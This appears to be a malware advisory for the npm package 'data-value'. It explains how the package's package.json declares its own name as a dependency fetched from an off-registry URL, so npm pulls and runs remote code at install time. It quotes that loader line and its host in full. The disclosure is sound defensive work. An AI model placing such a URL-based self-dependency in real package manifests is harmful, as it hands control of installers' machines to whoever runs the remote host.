GCVE-110-OSM-2026-11290

package.json declares the package's own name 'data-value' as a dependency whose source is an arbitrary HTTPS URL (https://repo.securityctrl.com/data-value) rather than a registry version range. On npm install, npm fetches whatever bytes that URL returns and runs any lifecycle scripts inside the fetched tarball, with no version pin and no integrity check. The dependency key matching the package's own name is a dependency-confusion shape that forces resolution to this off-registry source. The shipped index.js is an inert stub, so the manifest line itself is the entire published payload — whoever controls repo.securityctrl.com controls code executed on the installer's machine at install time. Judge assessment: This looks like a malicious off-registry loader owned by a publisher already tied to multiple confirmed malware packages, with an attacker model of supply-chain compromise via dependency confusion. The key evidence is the `package.json` dependency that points the package's own name `data-value` to `https://repo.securityctrl.com/data-value`, which npm will resolve and fetch outside the registry with no normal version pinning. The shipped `index.js` is just an inert stub, so the manifest itself is the payload path and the real executable content is controlled by `repo.securityctrl.com` at install time. The `publisher-has-malicious-packages` finding and the `publisherMaliciousRatio` history strongly corroborate intent rather than a mistake. ENTRY index.js (main: index.js) - URL-Based Dependency in package.json: ""dependencies": { "data-value": "https://repo.securityctrl.com/data-value"" DESTINATION - 2 loader (urls, domains) (values recorded in verified_iocs) ADDITIONAL FINDINGS - Publisher Has Other Malicious Packages